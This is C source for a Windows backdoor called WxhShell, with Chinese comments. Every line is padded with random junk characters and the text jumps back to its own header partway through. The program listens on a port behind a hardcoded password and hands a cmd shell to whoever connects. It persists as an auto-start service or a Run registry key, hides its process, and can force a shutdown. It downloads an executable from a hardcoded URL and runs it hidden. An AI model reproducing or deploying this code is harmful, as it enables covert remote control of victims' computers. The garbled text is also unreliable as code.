    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k-)Ls~#+  
    if(Boot(SHUTDOWN)) Y_~otoSoY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y'non0P.  
    else { vskp1Wi(  
    closesocket(wsh); zw iS%-F  
    ExitThread(0); q0NToVo@  
    } I8YCXh  
    break;  k)W&ZY  
    } POX{;[SV  
  // 获取shell J@#rOOu  
  case 's': { Gi*_ &  
    CmdShell(wsh);  _~S[  
    closesocket(wsh); Lg|d[*;'7  
    ExitThread(0); 4U u`1gtz  
    break; -zI9E!24  
  } io@f5E+?  
  // 退出 SDVnyT  
  case 'x': { ) t CNp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 62K#rR S  
    CloseIt(wsh); qVjMflVoay  
    break; q1m{G1W n  
    } K_!:oe7%  
  // 离开 MIb [}w=  
  case 'q': { *d PbV.HCl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _KkP{g,Y  
    closesocket(wsh); \xQu*M:!  
    WSACleanup(); {<?8Y  
    exit(1); ]b:>7_la  
    break; ExeZj8U  
        } dcyHp>\)|  
  } qdxaP% p2  
  } Wrh$`JC  
@7KG0<]h  
  // 提示信息 gYe6(l7m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W!Fc60>p@f  
} @PctBS<s  
  } W+5. lf=2>  
Yy6$q\@rV  
  return; M>}_2G]#F  
} $48 Z>ij?f  
1Kd6tnX  
// shell模块句柄 o"_'cNAz  
int CmdShell(SOCKET sock) 0m"Ni:KEf  
{ Hmnxm gx  
STARTUPINFO si; AWKJ@&pA9m  
ZeroMemory(&si,sizeof(si)); j#Tl\S!m.I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a6 1!j>Kx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; euVj,m  
PROCESS_INFORMATION ProcessInfo; -3guuT3x\  
char cmdline[]="cmd"; mCG&=Fx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5;,h8vW  
  return 0; "/mt uU3rt  
} O?cU6u;W  
b4WH37,lA  
// 自身启动模式 SD<a#S\o  
int StartFromService(void) ,>8w|951'  
{ )^+hm+27v  
typedef struct Ks@c wY  
{ s~9n13z  
  DWORD ExitStatus; z?( b|v  
  DWORD PebBaseAddress; 8ZLHN',  
  DWORD AffinityMask; 7D4tuXUq2  
  DWORD BasePriority; 4d-(:  
  ULONG UniqueProcessId; #<ST.f@*  
  ULONG InheritedFromUniqueProcessId; 44|tCB`  
}   PROCESS_BASIC_INFORMATION; }a.j~>rq  
 bI8uw|c  
PROCNTQSIP NtQueryInformationProcess; %.?V\l  
:O$bsw:3w<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W5=)B`v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U+@U/s%8  
;i'[c`  
  HANDLE             hProcess; zsJermF,O  
  PROCESS_BASIC_INFORMATION pbi; )>S,#_e*b  
nSC2wTH!1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); > pP&/  
  if(NULL == hInst ) return 0; d Rnf  
q$mc{F($D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I "~.p='  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sA77*T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +a 1iZ bh  
y!.jpF'uI  
  if (!NtQueryInformationProcess) return 0; F_jHi0A  
$2L6:&.P,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qS FtQ4  
  if(!hProcess) return 0; Np/\ }J&IF  
-4& i t:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %&| uT  
!W9:)5^X  
  CloseHandle(hProcess); +ovK~K $A  
@XV&^l -  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h%Nd89//  
if(hProcess==NULL) return 0; Bhd)# P  
EZ]4cd/i  
HMODULE hMod; U5OX.0  
char procName[255]; &|~7`  
unsigned long cbNeeded; /uj^w&l#  
*}d N.IL,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,T<JNd'  
K+F"VW*?  
  CloseHandle(hProcess); _!@:@e)yB{  
czuIs|_K*  
if(strstr(procName,"services")) return 1; // 以服务启动 yXJ25Axb  
DfD >hf/  
  return 0; // 注册表启动 2!Dz9m3  
} E,}{iqAb  
nQjpJ /=  
// 主模块 '\tI|  
int StartWxhshell(LPSTR lpCmdLine) cR/Nl pX  
{ jTvcKm|q  
  SOCKET wsl; %+N]$Q  
BOOL val=TRUE; ]VRa4ZB{u  
  int port=0; t?4H9~iH  
  struct sockaddr_in door; 'z(Y9%+a  
'|[V}K5m/f  
  if(wscfg.ws_autoins) Install(); A iM ukd,  
fY[Fwjj3  
port=atoi(lpCmdLine); ^w60AqR8  
L7-BuW}&  
if(port<=0) port=wscfg.ws_port; h*k V@Dc  
c\{N:S>  
  WSADATA data; +[!S[KE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j Q5F}  
r ;RYGLx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \9)5b8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kGYpJg9=  
  door.sin_family = AF_INET; hv|a8=U!R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [iub}e0  
  door.sin_port = htons(port); $r/$aq=K  
4>*=q*<V5E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4v\HaOk  
closesocket(wsl); s6,~J F^  
return 1; w}xA@JgQ%  
} !p&<.H_  
djdTh +>28  
  if(listen(wsl,2) == INVALID_SOCKET) { WHdMP  
closesocket(wsl); pl`4&y%Me  
return 1; wk|+[Rl;L  
} ^k=<+*9  
  Wxhshell(wsl); v-}f P  
  WSACleanup(); g,Ob/g8uc  
3W?7hh  
return 0; IVNH.g'  
{r_HcI(h  
} ieZ$@3#&z  
*D? =Ts  
// 以NT服务方式启动 jJ#D`iog5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e )0 ]WJ  
{ z% 8`F%2  
DWORD   status = 0; d%7?913  
  DWORD   specificError = 0xfffffff; Nny*C`uDF  
;ElCWs->\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W=+n |1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @xWWN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Bb/if:XS  
  serviceStatus.dwWin32ExitCode     = 0; ?'> .>  
  serviceStatus.dwServiceSpecificExitCode = 0; [c,V=:Cq  
  serviceStatus.dwCheckPoint       = 0; 1 /M^7Vb.  
  serviceStatus.dwWaitHint       = 0; Tb i?AJa}  
YV.' L  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *yhA8fJ  
  if (hServiceStatusHandle==0) return; Z@zo~*o  
v"k ? e  
status = GetLastError(); ^*ZaqMA  
  if (status!=NO_ERROR) :uCwWv   
{ vi##E0,N'^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iB)\* )  
    serviceStatus.dwCheckPoint       = 0; vbid>$%  
    serviceStatus.dwWaitHint       = 0; :h(HKMSk1  
    serviceStatus.dwWin32ExitCode     = status; )\1>)BJq  
    serviceStatus.dwServiceSpecificExitCode = specificError; w%])  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !n-Sh<8  
    return; ;Nn(  
  } )L b` 4B  
s<YN*~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ey=2 zo^F  
  serviceStatus.dwCheckPoint       = 0; x=DxD&I!J  
  serviceStatus.dwWaitHint       = 0; : @|Rj_S;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v2;E Wp  
} yj:@Fg-3g  
H:DR?'yW  
// 处理NT服务事件,比如:启动、停止 UT3Fi@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :rb;*nY!  
{ 01mu6)  
switch(fdwControl) M(C">L]8  
{ ai<qK3!O  
case SERVICE_CONTROL_STOP: $FPq8$V  
  serviceStatus.dwWin32ExitCode = 0; NJBSVC b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; n-9xfn0U~#  
  serviceStatus.dwCheckPoint   = 0; }c8nn  
  serviceStatus.dwWaitHint     = 0; og";mC  
  { V|YQhd0kv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mqZK1<r  
  } ZUI6VM  
  return; dXTD8 )&  
case SERVICE_CONTROL_PAUSE: daSe0:daJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _<Ak M"  
  break; 6Q:Wo)^!  
case SERVICE_CONTROL_CONTINUE: !.UE}^TV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W`x.qumN  
  break; 1m5l((d  
case SERVICE_CONTROL_INTERROGATE: O>DS%6/G  
  break; qt L]x -O  
}; JU)^b V_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s~OcL  5  
} .2%t3ul[  
i8?oe%9l  
// 标准应用程序主函数 ChK-L6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5Y+YN1  
{ AFi_P\X  
1 *' /B  
// 获取操作系统版本 bll[E}E|3  
OsIsNt=GetOsVer(); +c% jOl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o}Grb/LJ  
a{xJ#_/6  
  // 从命令行安装 {dxFd-K3  
  if(strpbrk(lpCmdLine,"iI")) Install(); t"B3?<?]  
YC1Bgz  
  // 下载执行文件 |tAkv  
if(wscfg.ws_downexe) { ;B@#,6t/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CcUF)$kz  
  WinExec(wscfg.ws_filenam,SW_HIDE); FO/cEu  
} Tw';;euw  
^N^G?{EV/#  
if(!OsIsNt) { ow'G&<0b  
// 如果时win9x,隐藏进程并且设置为注册表启动 RNc:qV<H  
HideProc();  D_dv8  
StartWxhshell(lpCmdLine); (nQm9 M(  
} n{N0S^h  
else )5( jx  
  if(StartFromService()) C<=rnIf'  
  // 以服务方式启动 $9?:P}$v  
  StartServiceCtrlDispatcher(DispatchTable); z6)N![ X  
else Lk|`\I T  
  // 普通方式启动 ; =n}61  
  StartWxhshell(lpCmdLine); GZi`jp  
\i+AMduAo  
return 0; LilK6K  
} Dh4 Lffy  
wb9(aS4  
4L,wBce;,t  
.nZKy't   
=========================================== ^.:&ZsqV  
&Y^4>y%  
W!$U{=  
AM=> P 7  
{X<g93  
Aa_@&e  
" ;:Z5Ft m  
0S :&wb  
#include <stdio.h> +EjXoW7V  
#include <string.h> $VQ;y|K+[  
#include <windows.h> J-/w{T8:  
#include <winsock2.h> +%j27~ R>D  
#include <winsvc.h> L{VnsY V  
#include <urlmon.h> c$,1j%[)  
{96MfhkeBv  
#pragma comment (lib, "Ws2_32.lib") !U:&8Le  
#pragma comment (lib, "urlmon.lib") Y2tVq})!  
c*B< - l<5  
#define MAX_USER   100 // 最大客户端连接数 #lMcAYH,  
#define BUF_SOCK   200 // sock buffer vE,^K6q0`  
#define KEY_BUFF   255 // 输入 buffer L754odc  
cY5;~lO  
#define REBOOT     0   // 重启 U2?R&c;b  
#define SHUTDOWN   1   // 关机 [K,P)V>K  
1K#[Ef4  
#define DEF_PORT   5000 // 监听端口 !&Q?ASJH  
s<"|'~<n  
#define REG_LEN     16   // 注册表键长度 ROn@tW  
#define SVC_LEN     80   // NT服务名长度 { i6L/U.  
N$e mS  
// 从dll定义API ]QHp?Ii1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #8M?y*<I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yYGs] +  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #<==7X#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3QBzyJW f  
[/q Bvuun  
// wxhshell配置信息 MvZa;B  
struct WSCFG { BFw_T3}zn  
  int ws_port;         // 监听端口 %w[Z/  
  char ws_passstr[REG_LEN]; // 口令 TW>GYGz  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9vyf9QE;  
  char ws_regname[REG_LEN]; // 注册表键名 2? yo  
  char ws_svcname[REG_LEN]; // 服务名 wH!$TAZ:Yw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g(tVghHxt$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vVSDPlN;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E\DA3lq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )aGSZ1`/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O=+$X Pa|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R 39_!  
W9w*=W )Z  
}; P~{8L.w!>W  
,k~' S~w.  
// default Wxhshell configuration 5\z<xpJ  
struct WSCFG wscfg={DEF_PORT, CnL=s6XD'  
    "xuhuanlingzhe", TyIjDG6tM  
    1, \X&8EW  
    "Wxhshell", ?[Y(JO#  
    "Wxhshell", M\4` S&  
            "WxhShell Service", t?G6|3  
    "Wrsky Windows CmdShell Service", $4xSI"+M%  
    "Please Input Your Password: ", RV  V`  
  1, uEJ8Lmi  
  "http://www.wrsky.com/wxhshell.exe", lh'S_p8g  
  "Wxhshell.exe" -JgNujt#9  
    }; NCkI[d]B@  
7?R600OA  
// 消息定义模块 u|t l@_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1V1I[CxlX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;9OhK71}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x ']'ODs  
char *msg_ws_ext="\n\rExit."; ]w6Q?%'9  
char *msg_ws_end="\n\rQuit."; {V6pC  
char *msg_ws_boot="\n\rReboot..."; [y@*vQw  
char *msg_ws_poff="\n\rShutdown..."; [o#% Eg;  
char *msg_ws_down="\n\rSave to "; ;WSW&2  
>E+g.5 ,:W  
char *msg_ws_err="\n\rErr!"; QKj0~ia 5  
char *msg_ws_ok="\n\rOK!"; 6"Fn$ :l?  
WChP,hw  
char ExeFile[MAX_PATH]; /dYv@OU?  
int nUser = 0; nU_O|l9  
HANDLE handles[MAX_USER]; Io.RT+slB  
int OsIsNt; v,ssv{gU  
*7Q6b 4~"  
SERVICE_STATUS       serviceStatus; 'vBZh1`p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {o24A: M  
.}!.4J%q2  
// 函数声明 RHC ZP  
int Install(void); gY~r{  
int Uninstall(void); |[>@Kk4  
int DownloadFile(char *sURL, SOCKET wsh); [Iks8ZWr_  
int Boot(int flag); *XTd9E^tXq  
void HideProc(void); |EE1S{!24m  
int GetOsVer(void); 2cYBm^o|x  
int Wxhshell(SOCKET wsl); kMQ /9~  
void TalkWithClient(void *cs); 5YD~l(,S1]  
int CmdShell(SOCKET sock); h+g\tYWGP  
int StartFromService(void); G|g^yaq>  
int StartWxhshell(LPSTR lpCmdLine); /WTEz\k  
dDPQDIx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OjUPvR2 0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p u(mHB  
T0w_d_aS  
// 数据结构和表定义 'Z`7/I4&  
SERVICE_TABLE_ENTRY DispatchTable[] = KMRPleF  
{ )Z/"P\qo  
{wscfg.ws_svcname, NTServiceMain}, "313eeIt%i  
{NULL, NULL} Rg?6eN  
}; /}?7Eni  
<sH}X$/  
// 自我安装 UPh#YV 0/,  
int Install(void) ?"d$SK"6Z  
{ VPUVPq~&  
  char svExeFile[MAX_PATH]; Wgwd?@uK  
  HKEY key; _VrY7Mz:r  
  strcpy(svExeFile,ExeFile); g@`i7qN  
iQ)ydY a  
// 如果是win9x系统,修改注册表设为自启动 C ^Y\?2h1  
if(!OsIsNt) { ^po@U"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [qYr~:`-[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h|qJ{tUWc$  
  RegCloseKey(key); `R[Hxi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bNea5u##  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ww7Ya]b.k  
  RegCloseKey(key); GShxPH{_j  
  return 0; 7>E.0DP  
    } 2c9?,Le/;  
  } P$)g=/td1  
} C?<pD+]b_  
else { /at7 H!  
qkb'@f=  
// 如果是NT以上系统,安装为系统服务 b^1QyX^?:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C 0w+ j  
if (schSCManager!=0) cw Obq\  
{ ;P@]7vkff  
  SC_HANDLE schService = CreateService >Fel) a  
  ( $]v}X},,  
  schSCManager, @A/k"Ax{r  
  wscfg.ws_svcname,  F!omkN  
  wscfg.ws_svcdisp, "/W[gP[y%  
  SERVICE_ALL_ACCESS, 4QL>LK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *r7v Dc  
  SERVICE_AUTO_START, FKa";f"  
  SERVICE_ERROR_NORMAL, {Cx5m   
  svExeFile, m~=~DMj  
  NULL, ;XKe$fsa~?  
  NULL, $NXP)Lic)  
  NULL, ud1M-lY\U  
  NULL, 3*b5V<}'|  
  NULL HgI!q<)  
  ); {28|LwmL  
  if (schService!=0) [|}IS@  
  { {z#2gc'Q  
  CloseServiceHandle(schService); ZCiCZ)oc  
  CloseServiceHandle(schSCManager); ]MbPivM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _X6'u J  
  strcat(svExeFile,wscfg.ws_svcname); *b~6 BM$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZL MH~cc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nwRltK  
  RegCloseKey(key); @f!X%)\;x  
  return 0; Cy/&KWLenf  
    } -N *L1Zj  
  } }aCa2%  
  CloseServiceHandle(schSCManager); P]E-Wp'p  
} jmok]-pC  
} *GP2>oEM  
LF<&gC  
return 1; NW3 c_]`=  
} my=f}%k=  
2ZH+fV?.  
// 自我卸载 +n3I\7G>  
int Uninstall(void) !xM5 A[f  
{ 5=dL`  
  HKEY key; B5e9'X^ [  
4ls:BO;k]  
if(!OsIsNt) { Dn- gP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p7?  
  RegDeleteValue(key,wscfg.ws_regname); p7h#.m~Qu  
  RegCloseKey(key); EeIDlm0o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f)I5=Ijy(  
  RegDeleteValue(key,wscfg.ws_regname); 4#U}bN  
  RegCloseKey(key); s6H'}[E<  
  return 0; 1^ iBS  
  } ?b7\m":'  
} yNTd_XPL  
} &W `xZyb3  
else { <hT\xBb:  
J~YT~D 2L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >rnVT K  
if (schSCManager!=0) |WS)KR !  
{ 0.aXg"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;*K4{wvG  
  if (schService!=0) 99m2aT()  
  { <LX\s*M)  
  if(DeleteService(schService)!=0) { _z5/&tm_H  
  CloseServiceHandle(schService); zF&VzNR2  
  CloseServiceHandle(schSCManager); }xZi Ct  
  return 0; h8rW"8Th  
  } !, 4ag1  
  CloseServiceHandle(schService); k.T=&0J_1  
  } =Q#I@SVp2$  
  CloseServiceHandle(schSCManager); ^:nc'C gP  
} Ts iJK  
} |diI(2w  
qY_qS=H^  
return 1; yzK;  
}  vSzpx  
H DVimoOq  
// 从指定url下载文件 bMH~vR  
int DownloadFile(char *sURL, SOCKET wsh) ju~$FNt8R  
{ P5S ]h  
  HRESULT hr; k.@![w\ea  
char seps[]= "/"; #A63?kDE&&  
char *token; `y8pwWo-o  
char *file; {I#_0Q,i  
char myURL[MAX_PATH]; A^U84kV=  
char myFILE[MAX_PATH]; K`*GZ+b|`  
r924!zdbR  
strcpy(myURL,sURL); %L|fTndKH  
  token=strtok(myURL,seps); H R>Y?B{  
  while(token!=NULL) p8Vqy-:  
  { w$2q00R>  
    file=token; 'g v0;L  
  token=strtok(NULL,seps); \ovs[&  
  } f}otIf  
a[{$4JpK  
GetCurrentDirectory(MAX_PATH,myFILE); 3i^X9[.  
strcat(myFILE, "\\"); F%>$WN#2  
strcat(myFILE, file);  C=D*  
  send(wsh,myFILE,strlen(myFILE),0); 1ni+)p>]  
send(wsh,"...",3,0); XcR=4q|7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &OR(]Wt0  
  if(hr==S_OK) ;$p!dI\-Q  
return 0; IUMv{2C  
else Pwh}hG1s a  
return 1; D:P(;  
qpQ;,8X-"  
} iOL$|Z(  
l{By]S  
// 系统电源模块 ?d')#WnC  
int Boot(int flag) +NlnK6T/  
{ F>;Wbk&[|  
  HANDLE hToken; <o EAy  
  TOKEN_PRIVILEGES tkp; FW]tDGJOw  
yi7.9/;a  
  if(OsIsNt) { q'D Ts9Bj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `[ZswLE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L*z=!Dpo  
    tkp.PrivilegeCount = 1; /$^Tou/v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :X>Wd+lY:_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OVK )]- ~  
if(flag==REBOOT) { 84ij4ZYe  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tBo\R?YRs  
  return 0; An2 >]\L  
} Kda'N$|`  
else { mc{z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mV0,T*}e  
  return 0; '%$Vmf)=  
} vPkLG*d 8  
  } jIh1)*]054  
  else { @]uqC~a^  
if(flag==REBOOT) { g*k)ws  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [ATJ! O  
  return 0; /t5)&  
} J[/WBVFDf  
else { OB>Hiy   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S-t#d7'B  
  return 0; Q14zc0N  
} ay"jWL-  
} {C |R@S  
v,4{:y]p  
return 1; +C~h(  
} >Kgw2,y+  
q,v<:sS9T  
// win9x进程隐藏模块 QM,#:m1o  
void HideProc(void) 8/e-?2l  
{ 8Vu@awz{L  
}[+uHR6L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fA=Z):w  
  if ( hKernel != NULL ) 9QQ XB-  
  { c~0kZA6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~aC ?M&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PD#,KqL:  
    FreeLibrary(hKernel); <4r8H-(%  
  } pcMzLMG<  
!GOaBs  
return; 0X)vr~`  
} +\!.X _Ij  
%=**cvVy  
// 获取操作系统版本 zlMh^+rMX  
int GetOsVer(void) .n:Q~GEL  
{ v9(5H Y  
  OSVERSIONINFO winfo; RZ6y5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x*OdMr\n8?  
  GetVersionEx(&winfo); Eq-+g1a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <':h/ d  
  return 1; }`R,C~-|^  
  else uq5?t  
  return 0; 4`O[U#?  
} w>W#cTt  
20Zxv!  
// 客户端句柄模块 <AgB"y@  
int Wxhshell(SOCKET wsl) ZP"; B^J  
{ <83Ky;ry  
  SOCKET wsh; ~ l}f@@u  
  struct sockaddr_in client; !y_FbJ8KC  
  DWORD myID; 9xA4;)36  
Hf4_zd  
  while(nUser<MAX_USER) {Y~>&B5  
{ W3:j Z:  
  int nSize=sizeof(client); aoy Be|H~=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {4_s:+v0  
  if(wsh==INVALID_SOCKET) return 1; i6Z7O )V  
P2n8HFi  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x`E<]z*w}  
if(handles[nUser]==0) w=KfkdAJ*/  
  closesocket(wsh); sx?IIFF  
else F ~A $7  
  nUser++; Jg#0g eU  
  } i(~DhXz*T  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #j2kT  
k>&cHCS`*  
  return 0; =.`\V]  
} 7@@g|l]  
gvP-doA7W  
// 关闭 socket N~/ 'EaO  
void CloseIt(SOCKET wsh) z;JV3) E  
{ @]qP:h.  
closesocket(wsh); = l(euBb  
nUser--; @a 9.s  
ExitThread(0); UL[,A+X8D  
} j]Gn\QF  
!Z_+H<fi+I  
// 客户端请求句柄 e!6yxL*[@[  
void TalkWithClient(void *cs) ebA95v`Vms  
{ $+j1^  
 X}(s(6  
  SOCKET wsh=(SOCKET)cs; X>I3N?5  
  char pwd[SVC_LEN]; U["0B8  
  char cmd[KEY_BUFF]; r+#{\~r7T  
char chr[1]; x2v0cR"KL  
int i,j; N7?]eD  
p]L]=-(qI  
  while (nUser < MAX_USER) { [!uzXVS3  
|r~u7U\  
if(wscfg.ws_passstr) { ]I|(/+}M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); izP )t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )j;^3LiV3  
  //ZeroMemory(pwd,KEY_BUFF); =p+n(C/  
      i=0; W&5/1``u\  
  while(i<SVC_LEN) { _X#Rv2a  
L[<#>/NPy  
  // 设置超时 ;6/WjUDw<|  
  fd_set FdRead; 3ijPm<wn  
  struct timeval TimeOut; !hVbx#bXl  
  FD_ZERO(&FdRead); oC`F1!SfOO  
  FD_SET(wsh,&FdRead); :M(uP e=D  
  TimeOut.tv_sec=8; Sp>g77@  
  TimeOut.tv_usec=0; A8f.h5~9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [9 MH"\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <vcU5 .K.  
xn*$Ty+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `D;*.zrA  
  pwd=chr[0]; ||hQ*X<m>  
  if(chr[0]==0xd || chr[0]==0xa) { }Xj25` x  
  pwd=0; ,X4b~)  
  break; "Not /8J  
  } a&>NuMDI  
  i++; #@FA=p[%  
    } i~h@}0WR"  
"3^tVX%$\[  
  // 如果是非法用户,关闭 socket yzN[%/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1AAyzAP9`  
} i#-v4g  
vM/*S 6[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z3]I^i FI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `,]Bs*~  
\Kf\%Q  
while(1) { 7^><Vh"qV  
6*i **  
  ZeroMemory(cmd,KEY_BUFF); G _cJI  
F*P0=DD  
      // 自动支持客户端 telnet标准   ^;EhKG  
  j=0; $Ivjcs:  
  while(j<KEY_BUFF) { sZrVANyqb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gGM fy]]R  
  cmd[j]=chr[0]; 6+$2rS$1V  
  if(chr[0]==0xa || chr[0]==0xd) { -;9 }P  
  cmd[j]=0; J+/}m}bx  
  break; Y(Oh7VwY*P  
  } lp}S'^ y  
  j++; #,tT`{u1q  
    } oz&`3`  
6:5K?Yo  
  // 下载文件 )R7Sh51P  
  if(strstr(cmd,"http://")) { zamMlmls^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h'"m,(a   
  if(DownloadFile(cmd,wsh)) Na91K4r#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); y?OP- 27y  
  else \:;MFG'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); irQ'Rm [  
